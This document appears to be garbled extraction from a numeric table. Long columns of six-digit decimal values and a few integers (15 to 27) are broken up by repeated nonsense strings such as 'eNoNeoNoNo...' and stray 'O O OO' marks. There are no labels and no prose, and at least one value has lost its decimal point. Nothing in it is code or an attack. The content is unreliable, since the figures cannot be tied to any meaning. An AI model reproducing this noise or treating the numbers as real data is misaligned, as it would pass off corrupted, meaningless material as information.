[eNoNeoNoNoNoNoNolohoBoNoloNoloNololNolNolNolNoNolNoNolololNololNolo]

.000002
.000001
.000000
.995616
.000368
.000015
.000000
.000000
.000003
.000000
.000001
.000003
.000016
.000021
.000002
.000013
.000002
.000000
.000002
.000001
.000005
.000001
.000000

15

.452924
.480834
.067401
.985092
.000037
.000004
.000000
.000000
.000002
.000000
.000001
.000002
.000009
.000012
.001783
.000008
.000001
.000000
.003854
.000001
.000002
.000001
.000000
.995616
.000368
.000015
.000000
.000000
.000003
.000000

oNoNeoNoNeoNoNeoRolNoholNolNolNoNoloNolNolNololNololNello]

[eNoNeoNoNoNoNoNoloholBoNoloNoloNololNolNoNolNoNolNoNolololNololNolNo]

.000001
.000000
.000000
.000012
.000112
.000374
.000001
.000000
.000006
.000003
.000002
.000007
.000000
.000000
.000008
.000000
.000002
.000002
.000000
.000000
.000001
.000000
.000000

.004748
.968989
.221340
.000032
.000024
.000085
.000001
.000000
.000004
.000001
.000001
.000005
.000000
.000000
.000006
.000000
.000002
.000002
.000000
.000000
.000001
.000000
.000000
.000012
.000112
.000374
.000001
.000000
.000006
.000003

oNoNeoNoNeoNoNeoRolNoholNolNolNolNoloNolNolNololNololNelo]

[eNoNeoNoNoNoNoNolohoBoNoloNoBolNololNolNoNolNoNolNoNolololNololNolo]

.000200
.000000
.000000
.000006
.000096
.000469
.000000
.000000
.000000
.000003
.000009
.000009
.000012
.000018
.000000
.000002
.000000
.000015
.000022
.000002
.002553
.000000
.000000

.036078
.423053
.707912
.000004
.000012
.000535
.000000
.000000
.000000
.000001
.000007
.000006
.000007
.000011
.000000
.000002
.000000
.000011
.000018
.000001
.003189
.000000
.000000
.000006
.000096
.000469
.000000
.000000
.000000
.000003

oNoNeoNoNeoNoNeoRolNoholNolNolNoNoloNolNolNololNololNollo]

eoNeoNoNoNoNoNololooNoloNololNololNolNolNolNololNololeololNe]

.000006
.000000
.000000
.000009
.000007
.000001
.000013
.000001
.000011
.000007
.000002
.000000
.000000
.000000
.000002
.000001
.000000
.000000
.000000
.000001
.000006
.000000
.000000

.002534
.002617
.000001
.000011
.000001
.000009
.000006
.000001
.000000
.000000
.000000
.000001
.000001
.000000
.000000
.000000
.000000
.000004
.000000
.000000
.000009
.000007
.000001
.000013
.000001
.000011
.000007

oNoNeoNoNeoNoNeoRolNoholNolNolNoNololNolNolNololNololNelo

eoNeoNoNoNoNoNolololoNoloNololNololNolNolNolNoloNololeololNe]

.000000
.000000
.000000
.000042
.000054
.000006
.000000
.000001
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000013
.000001
.000000
.000000
.000000
.000000
.000000
.000000

.000008
.000012
.000002
.000000
.000000
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000010
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000042
.000054
.000006
.000000
.000001
.000000
.000001
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[cNeoNoNolNoNoNoNoNoNolololNe)

locNeoNoNoNoRoNoNoNoNoNoNoNolololoNoNoNoNoloBololNolNoNoNoNoNolololNolNoNoNolNolNolNololNe]

.000001
.000003
.000016
.000021
.000002
.000013
.000002
.000000
.000002
.000001
.000005
.000001
.000000

16

.472949
.459650
.068197
.938494
.000507
.002358
.000000
.000000
.000002
.000000
.000001
.000002
.000009
.000012
.000001
.000008
.000001
.000000
.000002
.000001
.000002
.000001
.000000
.995616
.000368
.000015
.000000
.000000
.000003
.000000
.000001
.000003
.000016
.000021
.000002
.000013
.000002
.000000
.000002
.000001

[cNeoNoNolNoNoNoNoNoNololNolNe)

locNoNoNoloRolNoNoNoNoNoNoNolololNoNoNoNoNololololNoNoNoNoNoNololololNoNoNolNolNolNololNe]

.000002
.000007
.000000
.000000
.000008
.000000
.000002
.000002
.000000
.000000
.000001
.000000
.000000

.004252
.774408
.030104
.000004
.037037
.013972
.000001
.000000
.000004
.000001
.000001
.000005
.000000
.000000
.000006
.000000
.000002
.000002
.000000
.000000
.000001
.000000
.000000
.000012
.000112
.000374
.000001
.000000
.000006
.000003
.000002
.000007
.000000
.000000
.000008
.000000
.000002
.000002
.000000
.000000

[cNeoNoNolNoNoNoNoNoNolololNe)

locNoNoNoBoRolNoNoNoNoNoNoNolololNoNoNoNoNololololNoNoNoNoNoNolololNolNoNoNolNolNolNolNolNe]

.000009
.000009
.000012
.000018
.000000
.000002
.000000
.000015
.000022
.000002
.002553
.000000
.000000

.014364
277723
.545293
.000004
.000014
.000167
.000000
.000000
.000000
.000001
.000012
.000007
.000007
.000011
.000000
.000002
.000000
.000011
.000020
.000001
.007225
.000000
.000000
.000006
.000096
.000469
.000000
.000000
.000000
.000003
.000009
.000009
.000012
.000018
.000000
.000002
.000000
.000015
.000022
.000002

[cNeoNeoNolNoNoNoNoNoNolololNe)

leNeoNoNoloRolNoNoNoNoNoNoNolololoNoNoNoNoNoNololNololNoNoNoNoNololNolNolNolNolNolNo]

.000002
.000000
.000000
.000000
.000002
.000001
.000000
.000000
.000000
.000001
.000006
.000000
.000000

.000003
.000003
.000001
.000011
.000001
.000009
.000006
.000001
.000000
.000000
.000000
.000001
.000001
.000000
.000000
.000000
.000000
.000004
.000000
.000000
.000009
.000007
.000001
.000013
.000001
.000011
.000007
.000002
.000000
.000000
.000000
.000002
.000001
.000000
.000000
.000000
.000001

[cNeoNeoNolNoNoNoNoNoNolololNe)

leNeoNoNoloRolNoNoNoNoNoNoNolololoNoNoNoNoNoNololNolNolNoNoNoNoNololNolNolNolNolNolNo]

.000000
.000001
.000000
.000000
.000000
.000013
.000001
.000000
.000000
.000000
.000000
.000000
.000000

.000010
.000013
.000002
.000000
.000000
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000010
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000042
.000054
.000006
.000000
.000001
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000013
.000001
.000000
.000000
.000000
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(@)

.000005
.000001

0.000000

oNeoNeoBoNoNoNeoBolNohololNolNoNoNoNoNoNohoNoloNololNololNoNoloNolNeoNoloNololNoloNololNololNololNol

O O OO oo

17

.435070
.496733
.068600
.992292
.004204
.000004
.000000
.000000
.000002
.000000
.000001
.000002
.000009
.000013
.000001
.000008
.000001
.000000
.000003
.000001
.000002
.000001
.000000
.995616
.000368
.000015
.000000
.000000
.000003
.000000
.000001
.000003
.000016
.000021
.000002
.000013
.000002
.000000
.000002
.000001
.000005
.000001
.000000

18

.451562
.479839
.066578
.965717
.028340
.002193

(@)

.000001
.000000

0.000000

oNeoNeoBoNoNoNeooloholoNolNoNolNoNoNolNohoNoloNololNololNoNolNoNolNeoNoloNololNoloNololNololNololNel

O O OO oo

.005963
.963933
.024998
.000004
.000141
.000518
.000001
.000000
.000004
.000001
.000001
.000005
.000000
.000000
.000006
.000001
.000002
.000002
.000000
.000000
.000001
.000000
.000000
.000012
.000112
.000374
.000001
.000000
.000006
.000003
.000002
.000007
.000000
.000000
.000008
.000000
.000002
.000002
.000000
.000000
.000001
.000000
.000000

.005465
.969537
.029965
.000004
.000026
.000580

(@)

.002553
.000000

0.000000

oNeoNeoBoNoNoNooloholNolNolNoNolNoNoNoNoloNoloNololNololNoNolNololNeoNoloNololNoloNololNeololNololNel

O O O O oo

.035943
.418764
.535786
.000004
.000014
.000234
.000000
.000000
.000000
.000001
.000008
.000007
.000007
.000046
.000000
.000002
.000000
.000011
.000018
.000001
.002321
.000000
.000000
.000006
.000096
.000469
.000000
.000000
.000000
.000003
.000009
.000009
.000012
.000018
.000000
.000002
.000000
.000015
.000022
.000002
.002553
.000000
.000000

.037775
.426439
.543894
.001178
.000014
.000217

oNoNeoBoNoNoNeoNolNoholNololNoNolNolNoNoNohoNoloNoNoNololNololBoNoNoNololNololNoloNolNoNeolo) (@)

o

.000006
.000000
.000000

.000003
.000003
.000001
.000012
.000001
.000009
.000016
.000001
.000000
.000000
.000000
.000001
.000001
.000000
.000000
.000000
.000000
.000004
.000000
.000000
.000009
.000007
.000001
.000013
.000001
.000011
.000007
.000002
.000000
.000000
.000000
.000002
.000001
.000000
.000000
.000000
.000001
.000006
.000000
.000000

.000007
.000003
.000001

oNoNeoBoNoNoNeoNolNoholololNoNoNolNoNoNohoNoloNoNoNololNololBoNoNoNololNololNoloNolNolNeolo) (@)

o

.000000
.000000
.000000

.000010
.000013
.000002
.000000
.000000
.000000
.000001
.000000
.000002
.000000
.000000
.000000
.000010
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000042
.000054
.000006
.000000
.000001
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000013
.000001
.000000
.000000
.000000
.000000
.000000
.000000

.000011
.000013
.000003
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ecNeoNoBoNoNoNoNoNoNoNoloBololNoNoNoNoNolololNoNoNoNoNoNoNoNololNolNololNolNolNolNo]

oNeoNoNoloRoNolNoNoNoNolNolNolololNe]

.000000
.000000
.000002
.000000
.000001
.000002
.000010
.000013
.000001
.000008
.000001
.000000
.000001
.000001
.000002
.000001
.000000
.995616
.000368
.000015
.000000
.000000
.000003
.000000
.000001
.000003
.000016
.000021
.000002
.000013
.000002
.000000
.000002
.000001
.000005
.000001
.000000

19

.458708
.474715
.066031
.932886
.004118
.000004
.000000
.000000
.000002
.000000
.000001
.000002
.000068
.000014
.000001
.000008

eNeoNoBoNoNoNoNoNoNoNoloBololNolNoNoNoNolololNoNoNoNoNoNoNoNololNolNololNolNolNolNo]

loNeoNoNoloRoNolNoNoNoNolNoNolololNe]

.000001
.000000
.000004
.000001
.000001
.000005
.000000
.000000
.000005
.000000
.000002
.000002
.000000
.000000
.000001
.000000
.000000
.000012
.000112
.000374
.000001
.000000
.000006
.000003
.000002
.000007
.000000
.000000
.000008
.000000
.000002
.000002
.000000
.000000
.000001
.000000
.000000

.005090
.964945
.023958
.000004
.000026
.000341
.000001
.000000
.000004
.000001
.000001
.000005
.000000
.000000
.000005
.000000

eNeoNololNoNoNoNoNoNoNoloBololNoNoNoNoNolololNoNoNoNoNoNolNoNololNoNololNolNolNolNo]

loNoNoNoloRoNoloNoNoNolNoNolololNe]

.000000
.000000
.000000
.000001
.000007
.000007
.000007
.000011
.000000
.000002
.000000
.000011
.000018
.000065
.001452
.000000
.000000
.000006
.000096
.000469
.000000
.000000
.000000
.000003
.000009
.000009
.000012
.000018
.000000
.000002
.000000
.000015
.000022
.000002
.002553
.000000
.000000

.036950
.419156
.532848
.000003
.001581
.000185
.000000
.000000
.000000
.000001
.000006
.000007
.000007
.000011
.000000
.000002

eNeoNoBolNoNoNoNoNoNoNoloBololNolNoNoNoNolololoNoNoNoNoNolNoNololNolNololNolNolNolNo]

[eNeoNoNoloNoNolNolNolNolNolNollo]

.000010
.000001
.000008
.000007
.000002
.000000
.000000
.000000
.000001
.000001
.000000
.000000
.000000
.000000
.000004
.000000
.000000
.000009
.000007
.000001
.000013
.000001
.000011
.000007
.000002
.000000
.000000
.000000
.000002
.000001
.000000
.000000
.000000
.000001
.000006
.000000
.000000

.000003
.000719
.000001
.000010
.000001
.000008
.000005
.000002
.000000
.000000
.000000
.000001
.000001

eNeoNololNoNoNoNoNoNoNoloBololNolNoNoNoNolololNoNoNoNoNoNoNoNololNolNolNolNolNolNolNo]

[eNeoNoNoloNolNolNolNolNolNolNollo]

.000000
.000000
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000010
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000042
.000054
.000006
.000000
.000001
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000013
.000001
.000000
.000000
.000000
.000000
.000000
.000000

.000021
.000017
.000003
.000000
.000000
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000009
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cNoNeoBoNeoNoNeoNoloholoNoloNolBoNololNololNolNolNolNolololNolNo)

[ecoNoNoNoNoNoNololoBolNololNoBoNololNololNololeoloNololNe]

.000001
.000000
.000008
.000001
.000002
.000001
.000000
.995616
.000368
.000015
.000000
.000000
.000003
.000000
.000001
.000003
.000016
.000021
.000002
.000013
.000002
.000000
.000002
.000001
.000005
.000001
.000000

20

.463337
.470632
.066370
.933154
.000059
.001435
.000000
.000000
.000002
.000000
.000001
.000002
.004397
.004099
.000001
.000008
.000002
.000000
.000002
.000001
.000006
.000001
.000000
.995616
.000368
.000015

cnoNeoBoNeoNoNeoNoloBoloNoloNolBoNololNololNolNolNolNolololNoelNo)

[ecoNoNoNoNoNoNololoBolNololNoBoNololNololNololNololNololNe]

.000002
.000002
.000000
.000000
.000001
.000000
.000000
.000012
.000112
.000374
.000001
.000000
.000006
.000003
.000002
.000007
.000000
.000000
.000008
.000000
.000002
.000002
.000000
.000000
.000001
.000000
.000000

.006032
.970009
.063346
.000004
.006186
.005864
.000001
.000000
.000004
.000001
.000001
.000005
.000000
.000000
.000005
.000000
.000002
.000002
.000000
.000000
.000001
.000000
.000000
.000012
.000112
.000374

cNoNeoBoNeoNoNeoNoloholoNoloNolBoNoBolNololNolNolNolNolololNolNo)

[echoNoNoNoNoNoNolololBoNololNoBoNololNololNolololoNolNolNe]

.000000
.000010
.000017
.000001
.059850
.000000
.000000
.000006
.000096
.000469
.000000
.000000
.000000
.000003
.000009
.000009
.000012
.000018
.000000
.000002
.000000
.000015
.000022
.000002
.002553
.000000
.000000

.039068
.428085
.584740
.000003
.000023
.001059
.000000
.000000
.000000
.000001
.000007
.005143
.000007
.000011
.000000
.000002
.000000
.000010
.000016
.000001
.009360
.000000
.000000
.000006
.000096
.000469

cNoNeoBoNeoNoNeoNoloholoNoloNolBoNololNoloNolNolNolNolololNolNo)

eNoNeoNoNoNoNoNolNoholNoNoloNoloNololNololNoloNeolNo)

.000000
.000000
.000000
.000000
.000003
.000000
.000000
.000009
.000007
.000001
.000013
.000001
.000011
.000007
.000002
.000000
.000000
.000000
.000002
.000001
.000000
.000000
.000000
.000001
.000006
.000000
.000000

.000035
.000002
.000001
.000010
.000001
.000008
.000005
.002291
.000000
.000000
.000000
.001445
.002623
.000000
.000000
.000000
.000000
.000005
.000000
.000000
.000009
.000007
.000001

cNoNeoBoNeoNoNeoNolNoBoloNoloNolBoNololNoloNolNolNolNolololNolNo)

eNoNeoNoNoNoNoNolNohoBoNoloNoloNololNololNoloNelNo)

.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000042
.000054
.000006
.000000
.000001
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000013
.000001
.000000
.000000
.000000
.000000
.000000
.000000

.003444
.019224
.000003
.000000
.000000
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000009
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000042
.000054
.000006
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oNeoNololoNoNoNoNoNoNolololololNolNo)

[eNeoNoNoloRolNoNoNoNoNolNoNolololNoNoNoNoNolololNoNolNolNoNoNolololNolNolNoNolNolNo)

.000000
.000000
.000003
.000000
.000001
.000003
.000016
.000021
.000002
.000013
.000002
.000000
.000002
.000001
.000005
.000001
.000000

21

.465926
.467703
.064798
.977697
.008007
.000005
.000000
.000000
.000002
.000000
.000001
.000002
.000008
.000011
.000001
.000008
.000994
.000000
.000002
.000001
.000002
.000001
.000000
.995616
.000368
.000015
.000000
.000000
.000003
.000000
.000001
.000003
.000016
.000021
.000002
.000013

oNeoNoNoloNoNoNoNoNoNolololololNolNe)

[eNeoNoNoloRolNoNoNoNoNolNoNolololNoNoNoNoNoloNolNoNolNoNoNoNolololNolNolNolNolNolNo)

.000001
.000000
.000006
.000003
.000002
.000007
.000000
.000000
.000008
.000000
.000002
.000002
.000000
.000000
.000001
.000000
.000000

.007661
.928993
.037000
.000012
.000020
.000109
.000001
.000000
.000004
.000001
.000001
.000005
.000000
.000000
.000005
.001885
.000002
.000002
.000000
.000000
.000001
.000000
.000000
.000012
.000112
.000374
.000001
.000000
.000006
.000003
.000002
.000007
.000000
.000000
.000008
.000000

oNeoNoNoloNoNoNoNoNoNolololololNoNo

[eNeoNoNoloRolNoNoNoNoNolNoNolololNoNoNoNoNolololNoNolNolNoNolNolololNolNolNolNolNolNo)

.000000
.000000
.000000
.000003
.000009
.000009
.000012
.000018
.000000
.000002
.000000
.000015
.000022
.000002
.002553
.000000
.000000

.031481
.383779
.549627
.000003
.000014
.002902
.000000
.000000
.000000
.000001
.000006
.000007
.000007
.000011
.000000
.000002
.000000
.000010
.000016
.000001
.000680
.000000
.000000
.000006
.000096
.000469
.000000
.000000
.000000
.000003
.000009
.000009
.000012
.000018
.000000
.000002

oNeoNololoNoNoNoNoNoNolololololNolNo)

eNeoNoNoloRoloNoNoNoNoNoNolololNoNoNoNoNololololNolNoNoNolNoNololololNe)

.000013
.000001
.000011
.000007
.000002
.000000
.000000
.000000
.000002
.000001
.000000
.000000
.000000
.000001
.000006
.000000
.000000

.000003
.000002
.000001
.000010
.000001
.000008
.000005
.000001
.000000
.000000
.000000
.000001
.000001
.000000
.000000
.000000
.000000
.000003
.000000
.000000
.000009
.000007
.000001
.000013
.000001
.000011
.000007
.000002
.000000
.000000
.000000
.000002
.000001

eNeoNololoNoNoNoNoNoNoloBNolololNolNe)

eNeoNoNoloRoloNoNoNoNoNoNolololNoNoNoNoNololololNoNoNoNolNoNolololNolNe)

.000000
.000001
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000013
.000001
.000000
.000000
.000000
.000000
.000000
.000000

.000059
.000021
.007420
.000000
.000000
.000000
.000001
.000000
.000002
.000000
.000000
.000000
.000009
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000042
.000054
.000006
.000000
.000001
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000013
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OO OO O oo

eoNoNeoRoNeoNoNooloholoNolBoNolBoNoBolNololNololololNoNoNoNolNoNoloNoloNoloNololNololeoloNololNel

o

.000002
.000000
.000002
.000001
.000005
.000001
.000000

22

.482124
.453079
.081092
.909729
.012306
.000008
.000000
.000000
.000002
.000000
.000001
.000002
.000008
.000009
.000001
.000007
.000001
.000000
.000001
.000001
.000002
.000001
.000000
.995616
.000368
.000015
.000000
.000000
.000003
.000000
.000001
.000003
.000016
.000021
.000002
.000013
.000002
.000000
.000002
.000001
.000005
.000001
.000000

23

.451067
.467841

OO OO O oo

eoNoNeoNoNeoNoNoolNoholoNoNoNolBoNoBolNololNolololoNeoNoNoNolNoNoloNoloNololNololNololNoloNololNel

o

.000002
.000002
.000000
.000000
.000001
.000000
.000000

.010667
.952333
.036740
.000006
.000018
.026105
.000000
.000000
.000003
.000001
.000001
.000004
.000000
.000000
.000005
.000000
.000001
.000001
.000000
.000000
.000000
.000000
.000000
.000012
.000112
.000374
.000001
.000000
.000006
.000003
.000002
.000007
.000000
.000000
.000008
.000000
.000002
.000002
.000000
.000000
.000001
.000000
.000000

.010763
.952497

OO OO O oo

eoNoNeoNoNeoNoNoolNohololNoNoNolBoNoBolNololNololololNeolNoNoNolNoNoloNoloNolNoNololNololeoloNololNel

o

.000000
.000015
.000022
.000002
.002553
.000000
.000000

.039975
.410398
.557403
.000003
.000013
.000571
.000000
.000000
.000000
.000001
.000006
.000005
.000006
.000010
.000000
.000001
.000000
.000009
.000014
.000001
.049980
.000000
.000000
.000006
.000096
.000469
.000000
.000000
.000000
.000003
.000009
.000009
.000012
.000018
.000000
.000002
.000000
.000015
.000022
.000002
.002553
.000000
.000000

.038645
.403952

OO OO O oo

oNoNeoNoNeoNoNeolololololoNoNolBoNoloNololNololNoNoNolNoNoloBolNoBoNololNololNololNololNeleo)

.000000
.000000
.000000
.000001
.000006
.000000
.000000

.000082
.000002
.000000
.000009
.000001
.000007
.000004
.000001
.000000
.000000
.000000
.000001
.000001
.000000
.000000
.000000
.000000
.000003
.000000
.000000
.000009
.000007
.000001
.000013
.000001
.000011
.000007
.000002
.000000
.000000
.000000
.000002
.000001
.000000
.000000
.000000
.000001
.000006
.000000
.000000

OO OO O oo

oNoNeoBoNeoNoNeololohololoNoNolBolNoloNololNololNoNoNolNoNoloBoNoBoNololNololNololNololNelNo)

.000001
.000000
.000000
.000000
.000000
.000000
.000000

.000107
.000031
.000003
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000891
.000008
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000042
.000054
.000006
.000000
.000001
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000013
.000001
.000000
.000000
.000000
.000000
.000000
.000000
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ocNeoNoBolBolNolNoNoNoNoNolNohololoNoNoNoNoNololololNoNoNoNoNoNololololoNoNoNoNolNolololNe

[eNeoNoNolololNolNolNolNolNolNo]

.073871
.799645
.000216
.000013
.000000
.000000
.000002
.000000
.000001
.000001
.000007
.000008
.000001
.000006
.000001
.000000
.000001
.000001
.000002
.000001
.000000
.995616
.000368
.000015
.000000
.000000
.000003
.000000
.000001
.000003
.000016
.000021
.000002
.000013
.000002
.000000
.000002
.000001
.000005
.000001
.000000

24

.442571
.483558
.070773
.984590
.000019
.001380
.000000
.000756
.000001
.000000
.000001
.000001

ecNeoNoBolBolNolNoNoNoNoNolNohololNoNoNoNoNoNololololNoNoNoNoNoNololololoNoNoNoNolNolololNe

[eNeoNoNolololNolNolNolNolNolNo)

.034241
.000005
.000966
.000296
.000000
.000000
.000003
.000001
.000001
.000004
.000000
.000000
.000004
.000000
.000001
.000001
.000000
.000000
.000000
.000000
.000000
.000012
.000112
.000374
.000001
.000000
.000006
.000003
.000002
.000007
.000000
.000000
.000008
.000000
.000002
.000002
.000000
.000000
.000001
.000000
.000000

.009925
.955834
.029904
.000005
.000091
.000217
.000000
.000000
.000003
.000001
.000001
.000003

oNeoNoBoBolNoNoNoNoNoNolNohololNoNoNoNoNoNololololNoNoNoNoNoNololololoNoNoNoNolNolololNe

[eNeoNoNolololNolNolNolNolNolNo)

.559460
.000003
.000012
.003266
.000000
.000000
.000000
.000001
.000005
.000005
.000005
.000009
.000000
.000001
.000000
.000009
.000013
.000001
.191894
.000000
.000000
.000006
.000096
.000469
.000000
.000000
.000000
.000003
.000009
.000009
.000012
.000018
.000000
.000002
.000000
.000015
.000022
.000002
.002553
.000000
.000000

.035889
.404651
.555532
.000004
.000010
.001118
.000000
.000000
.000000
.000001
.000005
.000004

ocNeoNoRoloBNoNoNoNoNoNolNoBololoNoNoNolNoNolololoNoNoNoNoNololololNoNoNoNolNolNolololNe)

leoNoNoNoNololNolNelNo)

.000003
.000001
.000000
.000008
.000001
.000006
.000004
.000001
.000000
.000000
.000000
.000001
.000001
.000000
.000000
.000000
.000000
.000003
.000000
.000000
.000009
.000007
.000001
.000013
.000001
.000011
.000007
.000002
.000000
.000000
.000000
.000002
.000001
.000000
.000000
.000000
.000001
.000006
.000000
.000000

.000002
.000006
.000000
.000007
.000001
.000006
.000004
.000001
.000000

ocNeoNoRoloBoNoNoNoNoNoloBololoNoNoNolNoNolololoNoNoNoNoNololololNoNoNoNoNolNolololNe

leoNoNoNoNolRolNolNelNo)

.000324
.003201
.000002
.000000
.000000
.000000
.000001
.000000
.000021
.000000
.000000
.000000
.000007
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000042
.000054
.000006
.000000
.000001
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000013
.000001
.000000
.000000
.000000
.000000
.000000
.000000

.003908
.000076
.000002
.000000
.000000
.000000
.000001
.000000
.000000
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cNoNeoBoNoNoloololololNoBoNolBoNolBolNololNoBololoNeololNololololNolNo)

eoNeoNoNoNoNoNolololoNoloNololololololNolNolNe]

.000006
.000008
.000002
.000006
.000001
.000000
.000001
.000001
.000001
.000000
.000000
.995616
.000368
.000015
.000000
.000000
.000003
.000000
.000001
.000003
.000016
.000021
.000002
.000013
.000002
.000000
.000002
.000001
.000005
.000001
.000000

25

.458713
.470513
.074347
.887821
.001339
.000010
.000000
.000000
.000001
.000000
.000001
.000001
.000006
.000007
.000001
.000006
.000001
.000000
.000001
.000001
.000002
.000000

ecNoNeoBoNoNolNololololoNoloNolBolNolBolNoloNolololoNeololNololololNolNe)

eoNeoNoNoNoNoNolololoNoloNololololololNolNolNe]

.000000
.000000
.000004
.000000
.000001
.000001
.000000
.000000
.000000
.000000
.000000
.000012
.000112
.000374
.000001
.000000
.000006
.000003
.000002
.000007
.000000
.000000
.000008
.000000
.000002
.000002
.000000
.000000
.000001
.000000
.000000

.010636
.959460
.029696
.000005
.000015
.000176
.000000
.000000
.000003
.000001
.000001
.000003
.000000
.000000
.000004
.000000
.000001
.000001
.000000
.000000
.000000
.000000

ecNoNeoBoNeoNolNolololooNolBoNololNolBolNololNolololoNololNololololNolNo)

[eoNeoNoNoNoNoNolololoNoloNololNololololNolNolNe]

.000005
.000008
.000000
.000001
.000000
.000008
.000012
.000001
.007689
.000000
.000000
.000006
.000096
.000469
.000000
.000000
.000000
.000003
.000009
.000009
.000012
.000018
.000000
.000002
.000000
.000015
.000022
.000002
.002553
.000000
.000000

.038396
.406072
.555007
.000002
.000011
.011909
.000000
.000000
.000000
.000001
.000004
.000004
.000007
.000008
.000000
.000001
.000000
.000007
.000011
.000001
.096554
.000000

ecNoNeoBoNoNolNoNololoololoNolBolNolBolNololNolololoNololNololololNolNe)

eooNoNoNoNoNoNolNolololoNolNololNololNolNo)

.000000
.000000
.000001
.000001
.000000
.000000
.000000
.000000
.000003
.000000
.000000
.000009
.000007
.000001
.000013
.000001
.000011
.000007
.000002
.000000
.000000
.000000
.000002
.000001
.000000
.000000
.000000
.000001
.000006
.000000
.000000

.001353
.000002
.000000
.000007
.000001
.000006
.000003
.000001
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000000
.000002
.000000

ecNoNeoBoNoNolNoololooNolBoNolBolNolBolNololNolololoNolNolNololololNoeolNe)

eoloNoNoNoNoNoNololololNoNolNololNololoeolNo)

.000000
.000000
.000000
.000007
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000042
.000054
.000006
.000000
.000001
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000013
.000001
.000000
.000000
.000000
.000000
.000000
.000000

.000085
.000594
.000003
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000000
.000007
.000001
.000000
.000000
.000000
.000000
.000000
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ecNeoNoholBololoNoNoNoNoNoNololNoNololNolNolNolNo]

ecNeoNoNoloRoNoloNoNoNoNoNoBohololNoNoNoNoNolololNolNololNolNoNolNolNolNo]

.000000
.995616
.000368
.000015
.000000
.000000
.000003
.000000
.000001
.000003
.000016
.000021
.000002
.000013
.000002
.000000
.000002
.000001
.000005
.000001
.000000

26

.436708
.488945
.075285
.957380
.000031
.000017
.001298
.000000
.000001
.000000
.000001
.000001
.000006
.000007
.000001
.001269
.000001
.000000
.000001
.000001
.000002
.000000
.000000
.995616
.000368
.000015
.000000
.000000
.000003
.000000
.000001
.000003

ecNeoNoholololoNoNoNoNoNoNololNoNololNolNolNolNo]

eNeoNoNoloRoNolNoNoNoNoNoNoBololoNoNoNoNoNolololNolNoloNolNoNolNolNolNe]

.000000
.000012
.000112
.000374
.000001
.000000
.000006
.000003
.000002
.000007
.000000
.000000
.000008
.000000
.000002
.000002
.000000
.000000
.000001
.000000
.000000

.008172
.962132
.031943
.000005
.000014
.011211
.000000
.000000
.000003
.000001
.000001
.000003
.000000
.000000
.001276
.000000
.000743
.000001
.000000
.000000
.000000
.000000
.000000
.000012
.000112
.000374
.000001
.000000
.000006
.000003
.000002
.000007

ecNeoNoholololoNoNoNoNoNoNololNolNololNolNolNolNo]

ecNeoNoNoloRoNolNoNoNoNoNoNoBolololNoNoNoNoNolololNolNoloNolNolNolNolNolNe]

.000000
.000006
.000096
.000469
.000000
.000000
.000000
.000003
.000009
.000009
.000012
.000018
.000000
.000002
.000000
.000015
.000022
.000002
.002553
.000000
.000000

.036368
.408625
.561615
.000002
.000325
.000983
.000000
.000000
.000000
.000001
.000005
.000004
.001157
.000009
.000000
.000001
.000000
.004206
.000011
.000000
.006002
.000000
.000000
.000006
.000096
.000469
.000000
.000000
.000000
.000003
.000009
.000009

ecNeoNoholololoNoNoNoNoNoNololNolNololNolNolNolNo]

oNeoNoNoloRolNoNoNoNoNolNoholoRolNoNoNolNolNololololNolNolNolNolNolNo]

.000000
.000009
.000007
.000001
.000013
.000001
.000011
.000007
.000002
.000000
.000000
.000000
.000002
.000001
.000000
.000000
.000000
.000001
.000006
.000000
.000000

.000003
.000104
.000000
.000007
.000001
.000006
.000003
.000001
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.000000
.000000
.000002
.000000
.000000
.000009
.000007
.000001
.000013
.000001
.000011
.000007
.000002
.000000

ecNeoNoholololoNoNoNoNoNoNololNolNololNolNolNolNo]

oNeoNoNolBoRoloNoNoNoNoNoholBoRolNoNoNoNoNololNololNolNolNolNolNolNo]

.000000
.000042
.000054
.000006
.000000
.000001
.000000
.000001
.000000
.000001
.000000
.000000
.000000
.000013
.000001
.000000
.000000
.000000
.000000
.000000
.000000

.011765
.000749
.000006
.000631
.000728
.000000
.000001
.000000
.000000
.000000
.000000
.000000
.000007
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000042
.000054
.000006
.000000
.000001
.000000
.000001
.000000
.000001
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O O OO OO OO ooOo

eoNoNoNoNoNoNolohololNoloNoolNololNolNoloNoNoNoNoloBolNoNoNoolNololNoloNolNolNolNololeololNeo]

.000016
.000021
.000002
.000013
.000002
.000000
.000002
.000001
.000005
.000001
.000000

27

.438613
.486102
.074664
.973731
.000032
.003353
.000000
.000000
.000001
.000000
.000001
.000001
.000006
.000007
.000001
.000007
.000001
.000000
.000001
.000001
.000001
.000000
.000000
.995616
.000368
.000015
.000000
.000000
.000003
.000000
.000001
.000003
.000016
.000021
.000002
.000013
.000002
.000000
.000002
.000001
.000005
.000001

O O OO OO OO ooOo

[eoNoNoNoNoNoNololololNoloNoolNololNolNolNoNoNoNoNolNoBolNooNololNeololNoloNolNolNolNololeololNeo]

.000000
.000000
.000008
.000000
.000002
.000002
